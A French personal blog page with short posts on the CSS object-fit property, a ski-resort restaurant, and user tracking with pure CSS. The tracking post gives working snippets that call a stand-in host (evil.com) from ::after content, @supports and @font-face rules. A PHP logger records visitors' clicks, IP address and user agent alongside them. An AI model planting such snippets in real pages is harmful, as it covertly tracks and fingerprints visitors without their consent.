La propriété CSS - objectif-fit - NextuM

Je ne connaissais pas cette propriété qui permet à une image d'occuper tout ou partie de l'espace parent (un peu comme son pendant background-size)

Dans les exemples suivants, l'image a un width et un height de 100% à chaque fois.

object-fit: cover;

Couvre toute la surface quitte à perde des parties de l'image.



object-fit: contain;

Couvre toute la surface quitte à laisser des zones vides dans le parent.


object-fit: fill;

Remplit toute la surface quitte déformer l'image.

Comme d'habitude c'est pas poue IE mais OSEF.

Adresse: La Savoyarde, au Praz de Lys

Je précise de suite, ce n'est pas un article sponsorisé

Pendant ma semaine au ski, veinard que je suis, le temps a été superbe, la neige parfaite et le wifi absent...

On a appris en arrivant que la Savoyarde, le resto en dessous de l'appart, avait été repris depuis décembre et que ça valait vraiment le coup d'y aller. J'y suis allé. Ben c'est vrai.

La suite en détails., c'est par là ↴

Lire la suite de Adresse: La Savoyarde, au Praz de Lys

Tracking Users with CSS

Holy Fuck...
C'est pas con du tout: pister les clicks des visiteurs via css:



#link:active::after {
content: url("https://evil.com/track?action=link_clicked");
}

Et hop, côté serveur, tu récupères tout bien comme tu veux.




session_start();

// Prints the time that the script ran
print("Timestamp: " . time());

// Prints the action specified by the action parameter (in this case, "link_clicked")
print("Action: " . $_REQUEST['action']);

// Prints the user's IP address
print("IP Address: " . $_SERVER['REMOTE_ADDR']);

// Prints the user's browser agent
print("User Agent: " . $_SERVER['HTTP_USER_AGENT']);
?>




Et c'est pas tout !

On peut détecter le navigateur:



@supports (-webkit-appearance:none) and (not (-ms-ime-align:auto)){
#chrome_detect::after {
content: url("https://evil.com/track?action=browser_chrome");
}
}




ou même l'OS:



// stylesheet.css
@font-face {
font-family: Font1;
src: url("https://evil.com/track?action=font1");
}

#font_detection {
font-family: Calibri, Font1;
}

<!-- page.html -->
<div id="font_detection">test</div>







Fil RSS des articles de ce mot clé